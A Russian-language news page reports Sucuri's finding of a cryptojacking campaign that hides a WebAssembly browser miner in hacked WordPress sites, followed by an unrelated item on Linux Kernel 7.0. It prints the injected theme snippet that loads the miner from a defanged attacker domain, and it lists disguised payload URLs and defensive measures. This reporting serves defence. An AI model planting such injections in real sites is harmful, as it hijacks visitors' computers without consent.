Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Эксперты Sucuri обнаружили необычный JavaScript-майнер, загружаемый на страницы при посещении взломанного сайта. Злоумышленники используют технологию WebAssembly, чтобы ускорить исполнение сценария и осложнить выявление вредоносных инъекций.

Бинарный формат WebAssembly (.wasm), позволяющий выполнять высокопроизводительные приложения на веб-страницах со скоростью, близкой к нативной, в настоящее время поддерживают более 95% установленных браузеров, в том числе Google Chrome, Microsoft Edge, Safari, Firefox и Opera. Код Wasm загружается и запускается из JavaScript и может работать в параллель в той же песочнице, обмениваясь данными с кодом JavaScript.

В Sucuri узнали о нововведении криптоджекеров, когда новый клиент запросил помощи— его компьютер начал сильно тормозить при подключении к персональному сайту WordPress. Беглый просмотр файлов на сайте выявил небольшой фрагмент кода, вставленный в один из файлов темы:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

Каждый раз, когда посетитель заходит на веб-страницу, этот сниппет загружает на стороне клиента скрипт auto.js из домена wm[.]bmwebm[.]org. Содержимое JavaScript-файла оказалось обфусцированным с помощью CharCode; декодирование показало, что это криптомайнер, стартующий при каждом визите на сайт.

Вшитые учетные данные, по всей видимости, используются для доступа к кастомному пулу в том же домене. Особый интерес у исследователей вызвала такая находка, как использование WebAssembly для запуска бинарного кода в среде браузера.

 

Расшифрованный auto.js также содержал инструкции для операций майнинга, которые исполняются в браузере вместе с JavaScript.

Позднее тот же самый криптомайнер был обнаружен на другом взломанном сайте, но уже под именем adservicegoogle.js. Он загружался из того же домена и пытался выдать себя за легитимный скрипт Google Ads.

Домен hxxps://wm[.]bmwebm[.]org/ был зарегистрирован в январе 2021 года, то есть полтора года криптоджекерам удавалось остаться незамеченными. В настоящее время (на 26 июля) их майнер работает на 195 сайтах, в том числе в TLD-зоне RU; по всей видимости, скромный масштаб киберкампании тоже помог злоумышленникам оставаться в тени.

Примечательно, что отдаваемые вредоносные JavaScript-файлы генерируются автоматически — злоумышленники просто меняют имя, добавляемое к домену:

  • hxxps://wm[.]bmwebm[.]org/wordpresscore.js
  • hxxps://wm[.]bmwebm[.]org/common.js
  • hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
  • hxxps://wm[.]bmwebm[.]org/twitter.js
  • hxxps://wm[.]bmwebm[.]org/node.js

Реализованная функциональность также позволяет внедрять скрипты в разные места на зараженном сайте и поддерживать видимость легитимности инъекций.

Эксперты ожидают расширения использования WebAssembly киберкриминалом, несмотря на очевидное ограничение — зависимость от JavaScript. Код Wasm не способен самостоятельно собирать данные, подключаться к интернету и сливать награбленное на сторону. В составе веб-скимера, например, такой компонент может диктовать JavaScript, на каких веб-формах сосредоточиться, какой домен использовать для вывода данных и т. п. 

Использование Wasm, по словам Sucuri, способно затруднить выявление злонамеренных редиректоров, вредоносной рекламы, ложной техподдержки, скриптовых кейлоггеров, скрытых загрузок (drive-by) и других неблаговидных способов использования браузера. В тех случаях, когда браузер содержит уязвимость 0-day, оперирующий Wasm злоумышленник может причинить еще больше вреда — путем использования бинарного кода для эксплойта, и такую функциональность вряд ли обнаружит антивирусный сканер, заточенный под строковый анализ.

На сайтах подобные заражения тоже трудно выявить, если не с чем сравнить (нет бэкапа). Там, где Wasm уже используется в повседневных операциях, задача еще больше усложняется. Предотвратить инфицирование, по мнению экспертов, помогут следующие меры:

  • поддержка всего софта (CMS, плагинов, тем) в актуальном состоянии;
  • усиление защиты сайта и админ-панелей от брутфорса и словарных атак;
  • создание бэкапа и регулярное копирование контента и базы данных, с сохранением резервных копий вне сайта;
  • регулярные проверки целостности содержимого файлов на сайте;
  • использование средств фильтрации трафика прикладного уровня (WAF).

Торвальдс подтвердил: Linux Kernel 7.0 почти готов и ускорит игры

Релизы ядра Linux долгое время интересовали в основном серверных администраторов и энтузиастов. Но с ростом популярности Steam Deck, SteamOS и игровых компьютеров на Linux ситуация меняется. И грядущий Linux Kernel 7.0 как раз из тех обновлений, на которые стоит обратить внимание не только серверщикам.

Как сообщает Phoronix, новая версия ядра принесёт целый набор улучшений производительности.

Большая часть изменений по-прежнему ориентирована на серверные нагрузки, но есть и новшества, которые потенциально улучшат отзывчивость системы и игровой опыт.

Самой интересной функцией называют TIP Time Slice Extension. Она позволяет приложению временно попросить у планировщика ядра немного дополнительного процессорного времени, если в данный момент выполняется критически важная задача.

Проще говоря, если игра или аудиоприложение понимает, что его вот-вот «прервут» в самый неподходящий момент, оно может вежливо попросить: «подожди секунду, я почти закончил». В теории это должно привести к более плавной работе тяжёлых приложений, снижению фризов и, возможно, к улучшению 1% low FPS в играх. Практику, правда, покажут только реальные тесты.

Ещё одно важное изменение — новый механизм управления памятью под названием sheaves. Формально он рассчитан на серверы, но может быть полезен и на десктопах.

Многие ресурсоёмкие приложения и игры постоянно выделяют и освобождают память, что иногда приводит к скачкам задержек при высокой нагрузке на CPU. Оптимизации sheaves потенциально помогут сгладить такие пики и сделать поведение системы более стабильным.

Для серверных сценариев в Linux Kernel 7.0 тоже много интересного:

  • Open Tree Namespace ускоряет создание контейнеров в Docker, Kubernetes и микросервисах;
  • улучшения в IO_uring и zero-copy networking снижают нагрузку на CPU при высоких скоростях сети (10 Гбит/с и выше);
  • дополнительная настройка планировщика помогает веб- и базам данных ровнее переживать пиковые нагрузки.

Если всё пойдёт по плану, Ubuntu 26 LTS может получить новое ядро уже в апреле. Примерно в те же сроки ожидается Fedora 44.

Ну и да — в Linux Kernel 7.0 наконец-то можно будет менять логотип Tux при загрузке. Мелочь, а приятно.

RSS: Новости на портале Anti-Malware.ru